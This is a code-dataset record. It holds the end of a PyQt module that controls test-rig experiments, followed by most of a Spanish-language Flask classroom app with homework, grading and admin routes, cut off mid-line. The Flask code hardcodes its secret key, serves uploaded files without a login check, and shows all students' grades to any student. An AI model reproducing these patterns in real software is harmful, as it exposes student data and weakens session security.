self.targetModel.setName(value)\n                continue\n\n            if key == 'Config':\n                continue\n            if key == 'Remote':\n                continue\n            if key == 'Visu':\n                continue\n\n            name = PropertyItem(key)\n            value = None\n            newItems = [name, value]\n            self.targetModel.appendRow(newItems)\n\n        # insert default settings\n        for row in range(self.targetModel.rowCount()):\n            index = self.targetModel.index(row, 0)\n            try:\n                parent = index.model().itemFromIndex(index)\n                moduleName = parent.data(role=PropertyItem.RawDataRole)\n                self._addSettings(moduleName, parent)\n                self.dataPoints += self._readDataPoints(moduleName)\n            except ExperimentException as e:\n                self._logger.error(e)\n                return False\n\n        for moduleName, moduleValue in exp.items():\n            if moduleName == 'Name':\n                continue\n\n            if moduleName == 'Config':\n                continue\n            if moduleName == 'Remote':\n                continue\n            if moduleName == 'Visu':\n                continue\n\n            if not moduleValue:\n                continue\n\n            for valKey, valVal in moduleValue.items():\n                modules = self.targetModel.findItems(moduleName)[0]\n\n                for row in range(modules.rowCount()):\n                    if self.targetModel.data(modules.child(row, 0).index()) == valKey:\n                        valueIdx = self.targetModel.index(row, 1, self.targetModel.indexFromItem(modules))\n                        self.targetModel.setData(valueIdx, valVal, role=PropertyItem.RawDataRole)\n                        break\n                else:\n                    self._logger.warning(\"_applyExperiment(): Setting: '{0}' not \"\n                                         \"available for Module: '{1}'\".format(\n                        valKey, moduleName))\n\n        self.targetView.setModel(self.targetModel)\n\n        return True\n\n    def _editExperiment(self, exp):\n        \"\"\"\n        Edit all module settings to those provided in the experiment.\n        :param exp: the provided experiment\n        :return: `True` if successful, `False` if errors occurred.\n        \"\"\"\n        for moduleName, moduleValue in exp.items():\n            if moduleName == 'Name':\n                continue\n\n            if moduleName == 'Config':\n                continue\n            if moduleName == 'Remote':\n                continue\n            if moduleName == 'Visu':\n                continue\n\n            if not moduleValue:\n                continue\n\n            for valKey, valVal in moduleValue.items():\n                modules = self.targetModel.findItems(moduleName)[0]\n\n                for row in range(modules.rowCount()):\n                    if self.targetModel.data(modules.child(row, 0).index()) == valKey:\n                        valueIdx = self.targetModel.index(row, 1, self.targetModel.indexFromItem(modules))\n                        self.targetModel.setData(valueIdx, valVal, role=PropertyItem.RawDataRole)\n                        self.targetModel.dataChanged.emit(valueIdx, valueIdx)\n                        break\n                else:\n                    self._logger.warning(\"_applyExperiment(): Setting: '{0}' not \"\n                                         \"available for Module: '{1}'\".format(valKey, moduleName))\n\n        return True\n\n    def getDataPoints(self):\n        \"\"\"\n        Returns all data points of the experiment.\n        :return: data points\n        \"\"\"\n        return self.dataPoints\n\n    def handleFrame(self, frame, connection):\n        \"\"\"\n        Returns the corresponding data points of a frame of the test rig.\n        :param frame: data from the test rig\n        :param connection: connection of the frame\n        :return: data points or None if nothing found\n        \"\"\"\n        if frame.id == 1:\n            self.stopExperiment(broadcast=False)\n            self._logger.warn(\"rig missed heartbeat! disconnecting...\")\n            self.missedbeat.emit()\n            return None\n        for mod, _, _ in self.activeModules():\n            if mod.connection != connection:\n                continue\n            dataPoints = mod.handleFrame(mod,frame)\n            if dataPoints:\n                return dataPoints\n\n        return None\n\n    def updateSendParameter(self, module, parameter, value):\n        if module in self.modSets:\n            self.modSets[module][parameter] = value\n\n    def runExperiment(self):\n        \"\"\"\n        Sends all start parameters of all modules that are registered in the target model to start an experiment and\n        adds and frame with id 1 and payload 1 as general start command.\n        \"\"\"\n        data = []\n        self.runningExperiment = True\n        try:\n            for mod, name, settings in self.activeModules():\n\n                self.modSets[name] = cp.copy(settings)\n                vals = list(settings.values())\n\n                startParams = mod.getStartParams(mod,vals)\n                data.extend(self.paramsToConnData(startParams, mod.connection))\n\n                params = mod.getParams(mod,vals)\n                data.extend(self.paramsToConnData(params, mod.connection))\n\n        except ExperimentModuleException as eme:\n            self._logger.error(eme)\n            self.runningExperiment = False\n            self.expFinished.emit()\n            self.expStop.emit()\n            return\n\n        # start experiment\n        payload = bytes([1])\n\n        data.append({'id': 1,\n                     'msg': payload})\n        for _data in data:\n            self.sendData.emit(_data)\n\n    def sendChangedParameterExperiment(self):\n        \"\"\"\n        Sends changed parameters of all modules that are registered in the target model to an experiment.\n        \"\"\"\n        data = []\n        for mod, name, settings in self.activeModules():\n\n            if self.modSets[name] == settings:\n                print('continuing')\n                continue\n            self.modSets[name] = cp.copy(settings)\n            vals = list(settings.values())\n            params = mod.getParams(mod,vals)\n            data.extend(self.paramsToConnData(params, mod.connection))\n\n        for _data in data:\n            self.sendData.emit(_data)\n\n    def sendParameterExperiment(self):\n        \"\"\"\n        Sends all parameters of all modules that are registered in the target model to an experiment.\n        \"\"\"\n        data = []\n        for mod, name, settings in self.activeModules():\n\n            vals = list(settings.values())\n            params = mod.getParams(mod,vals)\n            data.extend(self.paramsToConnData(params, mod.connection))\n\n        for _data in data:\n            self.sendData.emit(_data)\n\n    def stopExperiment(self, broadcast=True):\n        \"\"\"\n        Sends all stop parameters of all modules that are registered in the target model to stop an experiment and\n        adds and frame with id 1 and payload 0 as general stop command.\n        \"\"\"\n        data = []\n\n        if not self.runningExperiment:\n            return\n\n        self.runningExperiment = False\n        for mod, name, settings in self.activeModules():\n\n            vals = list(settings.values())\n\n            stopParams = mod.getStopParams(mod,vals)\n            data.extend(self.paramsToConnData(stopParams, mod.connection))\n\n        # stop experiment\n        if broadcast:\n            payload = bytes([0])\n\n            data.append({'id': 1,\n                         'msg': payload})\n            for _data in data:\n                self.sendData.emit(_data)\n\n        self.expFinished.emit()\n\n    def getExperiment(self):\n        \"\"\"\n        Returns an dict for the current experiment with all settings of it.\n        :return: experiment\n        \"\"\"\n        exp = {'Name': self.targetModel.getName()}\n\n        for _, name, settings in self.activeModules():\n            exp[name] = settings\n\n        return exp\n\n    def activeModules(self):\n        for row in range(self.targetModel.rowCount()):\n            index = self.targetModel.index(row, 0)\n            parent = index.model().itemFromIndex(index)\n            settings = self.getSettings(parent)\n            name = parent.data(role=PropertyItem.RawDataRole)\n            mod = getRegisteredExperimentModules()[name]\n            yield mod, name, settings\n\n    def paramsToConnData(self, params, conn):\n            if not params:\n                return []\n            data = []\n            if not isinstance(params, list):\n                params = [params]\n            for p in params:\n                p['connection'] = conn\n                data.append(p)\n            return data\n", "repo_name": "umit-iace/tool-pywisp", "sub_path": "pywisp/experiments.py", "file_name": "experiments.py", "file_ext": "py", "file_size_in_byte": 16609, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "PyQt5.QtGui.QStandardItemModel", "line_number": 19, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QStandardItemModel.__init__", "line_number": 25, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QStandardItemModel", "line_number": 25, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.ItemIsEditable", "line_number": 36, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 36, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.ItemIsEnabled", "line_number": 36, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt.ItemIsEnabled", "line_number": 38, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 38, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QStandardItem", "line_number": 41, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.UserRole", "line_number": 42, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 42, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QStandardItem.__init__", "line_number": 45, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QStandardItem", "line_number": 45, "usage_type": "name"}, {"api_name": "logging.getLogger", "line_number": 46, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QStandardItem.UserType", "line_number": 51, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui.QStandardItem", "line_number": 51, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.EditRole", "line_number": 57, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 57, "usage_type": "name"}, {"api_name": "ast.literal_eval", "line_number": 59, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.DisplayRole", "line_number": 73, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 73, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.EditRole", "line_number": 75, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 75, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QItemDelegate", "line_number": 87, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QItemDelegate.__init__", "line_number": 95, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QItemDelegate", "line_number": 95, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QItemDelegate.createEditor", "line_number": 99, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QItemDelegate", "line_number": 99, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QItemDelegate.setEditorData", "line_number": 105, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QItemDelegate", "line_number": 105, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QItemDelegate.setModelData", "line_number": 108, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QItemDelegate", "line_number": 108, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QTreeView", "line_number": 111, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QTreeView.__init__", "line_number": 113, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QTreeView", "line_number": 113, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QSize", "line_number": 117, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QObject", "line_number": 123, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.pyqtSignal", "line_number": 128, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSignal", "line_number": 129, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSignal", "line_number": 130, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.pyqtSignal", "line_number": 131, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QObject.__init__", "line_number": 134, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QObject", "line_number": 134, "usage_type": "name"}, {"api_name": "logging.getLogger", "line_number": 135, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 201, "usage_type": "call"}, {"api_name": "copy.copy", "line_number": 387, "usage_type": "call"}, {"api_name": "experimentModules.ExperimentModuleException", "line_number": 396, "usage_type": "name"}, {"api_name": "copy.copy", "line_number": 421, "usage_type": "call"}]}
{"seq_id": "27107425386", "text": "import hash\nimport os\nimport logging\nfrom flask import Flask, render_template, session, redirect, request, url_for\\\n    , flash, send_from_directory\nfrom flask_sqlalchemy import SQLAlchemy\nfrom sqlalchemy import exc\nfrom werkzeug.utils import secure_filename\n\napp = Flask(__name__)\n\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///tmp/test.db'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n\napp.config['UPLOAD_FOLDER'] = \"userFiles/\"\nALLOWED_EXTENSIONS = {'txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif', 'doc', 'docx', 'xls', 'zip', 'gz', 'ppt'}\n\napp.secret_key = \"NoDeveriasVerEsto,PeroNoEstamosEnProduccionAsiQueNoImporta\"\n\ndb = SQLAlchemy(app)\n\nlogging.basicConfig(level=logging.DEBUG)\n# Ejemplo de un log\n# app.logger.info(type(admin))\n# app.logger.info(admin)\n\napp.logger.info(\"Classroom\")\napp.logger.info(\"Copyright © 2020  Pablo Sanchez\")\n\n\"\"\"---- Base de datos -----\"\"\"\nclass Grado(db.Model):\n    Id                = db.Column(db.Integer, primary_key=True)\n    Grado             = db.Column(db.String(30), unique=True, nullable=False)\n    alumnos           = db.relationship(\"Alumno\", backref=\"grado\")\n    clases            = db.relationship(\"Clases\", backref=\"clasesPorGrado\")\n\nclass Alumno(db.Model):\n    Id                = db.Column(db.Integer, primary_key=True)\n    NombreUsuario     = db.Column(db.String(30), unique=True, nullable=False)\n    Contrasena        = db.Column(db.String(32), nullable=False)\n    Nombre            = db.Column(db.String(30), nullable=False)\n    CorreoElectronico = db.Column(db.String(30), nullable=False)\n    TelefonoPadres    = db.Column(db.String(10), nullable=False)\n    IdGrado           = db.Column(db.Integer, db.ForeignKey('grado.Id'), nullable=False)\n    entregas          = db.relationship(\"Entregas\", backref=\"tareasEntregadasPorAlumno\")\n\nclass Maestro(db.Model):\n    Id                = db.Column(db.Integer, primary_key=True)\n    NombreUsuario     = db.Column(db.String(30), unique=True, nullable=False)\n    Contrasena        = db.Column(db.String(32), nullable=False)\n    Nombre            = db.Column(db.String(30), nullable=False)\n    CorreoElectronico = db.Column(db.String(30), nullable=False)\n    Admin             = db.Column(db.Boolean, nullable=False)\n    clases            = db.relationship(\"Clases\", backref=\"clasesPorMaestro\")\n\nclass Clases(db.Model):\n    Id                = db.Column(db.Integer, primary_key=True)\n    Nombre            = db.Column(db.String(30), nullable=False)\n    IdGrado           = db.Column(db.Integer, db.ForeignKey('grado.Id'), nullable=False)\n    IdMaestro         = db.Column(db.Integer, db.ForeignKey('maestro.Id'), nullable=False)\n    tareas            = db.relationship(\"Tareas\", backref=\"tareasPorClase\")\n\nclass Tareas(db.Model):\n    Id                = db.Column(db.Integer, primary_key=True)\n    IdClase           = db.Column(db.Integer, db.ForeignKey('clases.Id'), nullable=False)\n    Titulo            = db.Column(db.String(30), nullable=False)\n    Descripcion       = db.Column(db.String(120), nullable=False)\n    PathAdjuntos      = db.Column(db.String(50), nullable=False)\n    entregas          = db.relationship(\"Entregas\", backref=\"tareasEntregadas\")\n\nclass Entregas(db.Model):\n    Id                = db.Column(db.Integer, primary_key=True)\n    IdTarea           = db.Column(db.Integer, db.ForeignKey('tareas.Id'), nullable=False)\n    IdAlumno          = db.Column(db.Integer, db.ForeignKey('alumno.Id'), nullable=False)\n    PathAdjuntos      = db.Column(db.String(50), nullable=False)\n    Respuesta         = db.Column(db.String(300), nullable=False)\n    Calificado        = db.Column(db.Boolean, nullable=False)\n    Nota              = db.Column(db.Integer, nullable=False)\n\n# Utilidades\ndef allowed_file(filename):\n    return '.' in filename and \\\n           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS\n\n@app.route(\"/file/<filename>\")\ndef sendFile(filename):\n    filename.replace('_', ' ')\n    return send_from_directory(app.config['UPLOAD_FOLDER'], filename, as_attachment=True)\n\n\n\"\"\" ---------------------- Rutas de la pagina web ---------------------- \"\"\"\n# Login y home page\n@app.route(\"/\")\ndef index():\n    return render_template(\"index.html\")\n\n@app.route(\"/login\")\ndef loginVacio():\n    return redirect(\"/\")\n\n@app.route(\"/login/alumno\", methods=[\"GET\", \"POST\"])\ndef loginAlumno():\n    if request.method == \"POST\":\n        user = request.form.get(\"nombre\")\n        passwd = request.form.get(\"pwd\")\n        original = Alumno.query.filter_by(NombreUsuario=user).first()\n        if not original:\n            flash(\"Ese nombre de usuario no existe\")\n            return redirect(\"/login/alumno\")\n        if hash.check_passwd(passwd, original.Contrasena):\n            session[\"type\"] = \"Alumno\"\n            session[\"id\"] = original.Id\n            return redirect(\"/tareas\")\n        else:\n            flash(\"Error al iniciar sesion\")\n            return redirect(\"/login/alumno\")\n\n    else:\n        return render_template(\"login.html\", quien=\"alumno\")\n\n@app.route(\"/login/maestro\", methods=[\"GET\", \"POST\"])\ndef loginMaestro():\n    if request.method == \"POST\":\n        user = request.form.get(\"nombre\")\n        passwd = request.form.get(\"pwd\")\n        original = Maestro.query.filter_by(NombreUsuario=user).first()\n        if not original:\n            flash(\"Ese nombre de usuario no existe\")\n            return redirect(\"/login/maestro\")\n        if hash.check_passwd(passwd, original.Contrasena):\n            session[\"id\"] = original.Id\n            if original.Admin:\n                session[\"type\"] = \"Admin\"\n                return redirect(\"/gestionDeUsuarios\")\n            else:\n                session[\"type\"] = \"Profe\"\n                return redirect(\"/crear_tareas\")\n        else:\n            flash(\"Error al iniciar sesion\")\n            return redirect(\"/login/maestro\")\n\n    else:\n        return render_template(\"login.html\", quien=\"maestro\")\n\n# ------------ Alumnos ------------\n@app.route(\"/tareas\")\ndef tareas():\n    if not \"type\" in session:\n        flash(\"Cuidado mano, que tengo tu ip\")\n        return redirect(\"/\")\n    if session[\"type\"] != \"Alumno\":\n        flash(\"Cuidado mano, que tengo tu ip\")\n        return redirect(\"/\")\n\n    idAlumno = session[\"id\"]\n    entregasPendientes = Entregas.query.filter_by(IdAlumno=idAlumno, Respuesta=\"SinRespuesta\").all()\n    tareas = []\n    for entrega in entregasPendientes:\n        t = Tareas.query.get(entrega.IdTarea)\n        tareas.append(t)\n    return render_template(\"listaTareas.html\", type=session[\"type\"], tareas=tareas)\n\n@app.route(\"/tareas/<int:idTarea>\", methods=[\"POST\", \"GET\"])\ndef ResolverTareas(idTarea):\n    if not \"type\" in session:\n        flash(\"Cuidado mano, que tengo tu ip\")\n        return redirect(\"/\")\n    if session[\"type\"] != \"Alumno\":\n        flash(\"Cuidado mano, que tengo tu ip\")\n        return redirect(\"/\")\n\n    if request.method == \"POST\":\n        entrega = Entregas.query.get(idTarea)\n        if entrega is None:\n            flash(\"No hemos podido identificar la tarea\")\n            return redirect(\"/tareas\")\n        if entrega.IdAlumno != session[\"id\"]:\n            flash(\"No puede entregar tareas que no le corresponden\")\n            return redirect(\"/tareas\")\n        archivo = request.files[\"file\"]\n        if archivo.filename:\n            if allowed_file(archivo.filename):\n               filename = secure_filename(archivo.filename)\n               archivo.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))\n            else:\n               flash(\"Error con el archivo adjunto.\\\n               Le recordamos que solo pueden tener las siguientes extencionses:\\\n               'txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif', 'doc', 'docx', 'xls', 'zip', 'gz', 'ppt'.\")\n               return redirect(\"/tareas\")\n        else:\n            flash(\"Tarea sin adjuntos\")\n            filename = \"SinArchivo\"\n\n        entrega.Respuesta = request.form.get(\"respuesta\")\n        entrega.PathAdjuntos = filename\n        db.session.commit()\n        return redirect(\"/tareas\")\n    else:\n        tarea = Tareas.query.get(idTarea)\n        return render_template(\"realizarTarea.html\", tarea=tarea, type=session[\"type\"])\n\n\nclass VerNotas:\n    def __init__(self, clase, tarea, nota):\n        self.Clase = clase\n        self.Tarea = tarea\n        self.Nota = nota\n\n@app.route(\"/notas\")\ndef notas():\n    if not \"type\" in session:\n        flash(\"Cuidado mano, que tengo tu ip\")\n        return redirect(\"/\")\n    if session[\"type\"] != \"Alumno\":\n        flash(\"Cuidado mano, que tengo tu ip\")\n        return redirect(\"/\")\n\n    notas = []\n    entregas = Entregas.query.filter_by(Calificado=True)\n    for entrega in entregas:\n        app.logger.info(entrega)\n        tarea = Tareas.query.get(entrega.IdTarea)\n        clase = Clases.query.get(tarea.IdClase)\n        notas.append(\n            VerNotas(clase.Nombre, tarea.Titulo, entrega.Nota)\n        )\n    return render_template(\"verNotas.html\", type=session[\"type\"], notas=notas)\n\n# ------------ Maestros ------------\n@app.route(\"/crear_tareas\")\ndef crearTareas():\n    if not \"type\" in session:\n        flash(\"Cuidado mano, que tengo tu ip\")\n        return redirect(\"/\")\n    if session[\"type\"] != \"Admin\" and session[\"type\"] != \"Profe\":\n        flash(\"Cuidado mano, que tengo tu ip\")\n        return redirect(\"/\")\n    if not \"id\" in session:\n        flash(\"Ha ocurrido un error, y no hemos podido idedentificar su id\\\n        , porfavor inicie sesion otra vez\")\n        return redirect(\"/login/maestro\")\n\n    clases = Clases.query.filter_by(IdMaestro=session[\"id\"])\n    return render_template(\"listaClases.html\", clases=clases, type=session['type'])\n\n@app.route(\"/crear_tareas/<int:idClase>\", methods=[\"GET\", \"POST\"])\ndef subirTareas(idClase):\n    if not \"type\" in session:\n        flash(\"Cuidado mano, que tengo tu ip\")\n        return redirect(\"/\")\n    if session[\"type\"] != \"Admin\" and session[\"type\"] != \"Profe\":\n        flash(\"Cuidado mano, que tengo tu ip\")\n        return redirect(\"/\")\n    if not \"id\" in session:\n        flash(\"Ha ocurrido un error, y no hemos podido idedentificar su id\\\n        , porfavor inicie sesion otra vez\")\n        return redirect(\"/login/maestro\")\n\n    if request.method == \"POST\":\n        titulo = request.form.get(\"titulo\")\n        descripcion = request.form.get(\"descripcion\")\n        archivo = request.files['file']\n        if archivo.filename:\n            if allowed_file(archivo.filename):\n               filename = secure_filename(archivo.filename)\n               archivo.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))\n            else:\n               flash(\"Error con el archivo adjunto.\\\n               Le recordamos que solo pueden tener las siguientes extencionses:\\\n               'txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif', 'doc', 'docx', 'xls', 'zip', 'gz', 'ppt'.\")\n               return redirect(\"/crear_tareas\")\n        else:\n            flash(\"Tarea sin adjuntos\")\n            filename = \"SinArchivo\"\n\n        # Creamos la tarea\n        tarea = Tareas()\n        tarea.IdClase           = idClase\n        tarea.Titulo            = titulo\n        tarea.Descripcion       = descripcion\n        tarea.PathAdjuntos      = filename\n        db.session.add(tarea)\n        db.session.commit()\n\n        # Y la asignamos a los alumnos del grado\n        idGrado = Clases.query.get(idClase).IdGrado\n        alumnos = Alumno.query.filter_by(IdGrado=idGrado).all()\n        for alumno in alumnos:\n            entrega = Entregas()\n            entrega.IdTarea           = tarea.Id\n            entrega.IdAlumno          = alumno.Id\n            entrega.PathAdjuntos      = \"SinAdjuntos\"\n            entrega.Respuesta         = \"SinRespuesta\"\n            entrega.Calificado        = False\n            entrega.Nota              = 0\n            db.session.add(entrega)\n        db.session.commit()\n\n        return redirect(\"/crear_tareas\")\n    else:\n        return render_template(\"anadirT.html\", id=idClase, type=session[\"type\"])\n\nclass EntregaPendiente:\n    def __init__(self, alumno, tarea, clase, IdEntrega):\n        self.alumno = alumno\n        self.tarea = tarea\n        self.clase = clase\n        self.IdEntrega = IdEntrega\n\n@app.route(\"/calificar\")\ndef tareasCalificar():\n    if not \"type\" in session:\n        flash(\"Cuidado mano, que tengo tu ip\")\n        return redirect(\"/\")\n    if session[\"type\"] != \"Admin\" and session[\"type\"] != \"Profe\":\n        flash(\"Cuidado mano, que tengo tu ip\")\n        return redirect(\"/\")\n    if not \"id\" in session:\n        flash(\"Ha ocurrido un error, y no hemos podido idedentificar su id\\\n        , porfavor inicie sesion otra vez\")\n        return redirect(\"/login/maestro\")\n\n    entregasPorCalificar = []\n    clasesDelMaestro = Clases.query.filter_by(IdMaestro=session[\"id\"]).all()\n    for clase in clasesDelMaestro:\n        tareas = Tareas.query.filter_by(IdClase=clase.Id).all()\n        for tarea in tareas:\n            entregasPendientes = Entregas.query.filter(\n                Entregas.Respuesta!=\"SinRespuesta\",\n                Entregas.Calificado==False,\n                Entregas.IdTarea==tarea.Id\n            ).all()\n            for entrega in entregasPendientes:\n                entregasPorCalificar.append(\n                    EntregaPendiente(\n                        Alumno.query.get(entrega.IdAlumno).Nombre,\n                        Tareas.query.get(entrega.IdTarea).Titulo,\n                        clase.Nombre,\n                        entrega.Id\n                    )\n                )\n\n    return render_template(\"tareasCalificar.html\", entregas=entregasPorCalificar, type=session[\"type\"])\n\n@app.route(\"/calificar/<int:idEntrega>\", methods=[\"GET\", \"POST\"])\ndef calificarTareas(idEntrega):\n    if not \"type\" in session:\n        flash(\"Cuidado mano, que tengo tu ip\")\n        return redirect(\"/\")\n    if session[\"type\"] != \"Admin\" and session[\"type\"] != \"Profe\":\n        flash(\"Cuidado mano, que tengo tu ip\")\n        return redirect(\"/\")\n    if request.method == \"POST\":\n        nota = request.form.get(\"nota\")\n        entrega = Entregas.query.get(idEntrega)\n        if entrega:\n            entrega.Nota = nota\n            entrega.Calificado = True\n            db.session.commit()\n        else:\n            flash(\"Id de tarea incorrecto\")\n        return redirect(\"/calificar\")\n    else:\n        entrega = Entregas.query.get(idEntrega)\n        tarea = Tareas.query.get(entrega.IdTarea)\n        return render_template(\"calificarTarea.html\", entrega=entrega, tarea=tarea, type=session[\"type\"])\n    return f\"Calificar {idTarea}\"\n\n# ------------ Administradores ------------\n@app.route(\"/gestionDeUsuarios\", methods=[\"GET\", \"POST\"])\ndef gestionUsuarios():\n    if not \"type\" in session:\n        flash(\"Cuidado mano, que tengo tu ip\")\n        return redirect(\"/\")\n    if session[\"type\"] != \"Admin\":\n        flash(\"Cuidado, que tengo tu IP\")\n        return redirect(\"/\")\n\n    return render_template(\"gestionU.html\", type=session[\"type\"])\n\n@app.route(\"/gestionDeUsuarios/actualizarA/<int:id>\", methods=[\"GET\", \"POST\"])\ndef gestionUsuariosActualizarA(id):\n    if not \"type\" in session:\n        flash(\"Cuidado mano, que tengo tu ip\")\n        return redirect(\"/\")\n    if session[\"type\"] != \"Admin\":\n        flash(\"Cuidado, que tengo tu IP\")\n        return redirect(\"/\")\n\n    if request.method == \"POST\":\n        if id != 0:\n            alumno = Alumno.query.get(id)\n            nombreUsuario            = request.form.get(\"nombreUsuario\")\n            contrasena               = request.form.get(\"contrasena\")\n            nombre                   = request.form.get(\"nombre\")\n            correoElectronico        = request.form.get(\"correoElectronico\")\n            telefonoPadres           = request.form.get(\"telefonoPadres\")\n            idGrado                  = request.form.get(\"idGrado\")\n            alumno.NombreUsuario     = nombreUsuario\n            if contrasena != \"\":\n                alumno.Contrasena        = hash.hash_passwd(contrasena)\n            alumno.Nombre            = nombre\n            alumno.CorreoElectronico = correoElectronico\n            alumno.TelefonoPadres    = telefonoPadres\n            alumno.IdGrado           = idGrado\n            db.session.commit()\n        return redirect(\"/gestionDeUsuarios/actualizarA/0\")\n\n    else:\n        if id == 0:\n            alumnos = Alumno.query.all()\n            return render_template(\"enlistarA.html\", type=session[\"type\"], alumnos=alumnos)\n        else:\n            alumno = Alumno.query.get(id)\n            return render_template(\"modificarA.html\", type=session[\"type\"], alumno=alumno)\n\n\n@app.route(\"/gestionDeUsuarios/actualizarM/<int:id>\", methods=[\"GET\", \"POST\"])\ndef gestionUsuariosActualizarM(id):\n    if not \"type\" in session:\n        flash(\"Cuidado mano, que tengo tu ip\")\n        return redirect(\"/\")\n    if session[\"type\"] != \"Admin\":\n        flash(\"Cuidado, que tengo tu IP\")\n        return redirect(\"/\")\n\n    if request.method == \"POST\":\n        if id != 0:\n            nMaestro = Maestro.query.get(id)\n            contra = request.form.get(\"contrasena\")\n            if contra != \"\":\n                nMaestro.Contrasena = hash.hash_passwd(contra)\n            nMaestro.NombreUsuario     = request.form.get(\"nombreUsuario\")\n            nMaestro.Nombre            = request.form.get(\"nombre\")\n            nMaestro.CorreoElectronico = request.form.get(\"correoElectronico\")\n            nMaestro.Admin             = request.form.get(\"admin\") == \"on\"\n            db.session.commit()\n\n        return redirect(\"/gestionDeUsuarios/actualizarM/0\")\n\n    else:\n        if id == 0:\n            maestros = Maestro.query.all()\n            return render_template(\"enlistarM.html\", type=session[\"type\"], maestros=maestros)\n        else:\n            maestro = Maestro.query.get(id)\n            return render_template(\"modificarM.html\", type=session[\"type\"], maestro=maestro)\n\n@app.route(\"/gestionDeUsuarios/actualizarG/<int:id>\", methods=[\"GET\", \"POST\"])\ndef gestionUsuariosActualizarG(id):\n    if not \"type\" in session:\n        flash(\"Cuidado mano, que tengo tu ip\")\n        return redirect(\"/\")\n    if session[\"type\"] != \"Admin\":\n        flash(\"Cuidado, que tengo tu IP\")\n        return redirect(\"/\")\n    if request.method == \"POST\":\n        if id != 0:\n            nGrado = Grado.query.get(id)\n            nGrado.Grado = request.form.get(\"grado\")\n            db.session.commit()\n        return redirect(\"/gestionDeUsuarios/actualizarG/0\")\n    else:\n        if id == 0:\n            grados = Grado.query.all()\n            return render_template(\"enlistarG.html\", type=session[\"type\"], grados=grados)\n        else:\n            grado = Grado.query.get(id)\n            return render_template(\"modificarG.html\", type=session[\"type\"], grado=grado)\n\n@app.route(\"/gestionDeUsuarios/anadirA\", methods=[\"GET\", \"POST\"])\ndef gestionUsuariosAnadirA():\n    if not \"type\" in session:\n        flash(\"Cuidado mano, que tengo tu ip\")\n        return redirect(\"/\")\n    if session[\"type\"] != \"Admin\":\n        flash(\"Cuidado, que tengo tu IP\")\n        return redirect(\"/\")\n\n    if request.method == \"POST\":\n        nombreUsuario = request.form.get(\"nombreUsuario\")\n        if Alumno.query.filter_by(NombreUsuario=nombreUsuario).first() == None:\n            contrasena        = request.form.get(\"contrasena\")\n            nombre            = request.form.get(\"nombre\")\n            correoElectronico = request.form.get(\"correoElectronico\")\n            telefonoPadres    = request.form.get(\"telefonoPadres\")\n            idGrado           = request.form.get(\"idGrado\")\n            alumno = Alumno()\n            alumno.NombreUsuario     = nombreUsuario\n            alumno.Contrasena        = hash.hash_passwd(contrasena)\n            alumno.Nombre            = nombre\n            alumno.CorreoElectronico = correoElectronico\n            alumno.TelefonoPadres    = telefonoPadres\n            alumno.IdGrado           = idGrado\n            db.session.add(alumno)\n            db.session.commit()\n            return redirect(\"/gestionDeUsuarios\")\n        else:\n            flash(f\"El usuario {nombreUsuario} ya existe\")\n            return redirect(\"/gestionDeUsuarios/anadirA\")\n\n    else:\n        grados = Grado.query.all()\n        return render_template(\"anadirA.html\", type=session[\"type\"], grados=grados)\n\n@app.route(\"/gestionDeUsuarios/anadirM\", methods=[\"GET\", \"POST\"])\ndef gestionUsuariosAnadirM():\n    if not \"type\" in session:\n        flash(\"Cuidado mano, que tengo tu ip\")\n        return redirect(\"/\")\n    if session[\"type\"] != \"Admin\":\n        flash(\"Cuidado, que tengo tu IP\")\n        return redirect(\"/\")\n\n    if request.method == \"POST\":\n        nombreUsuario = request.form.get(\"nombreUsuario\")\n        if 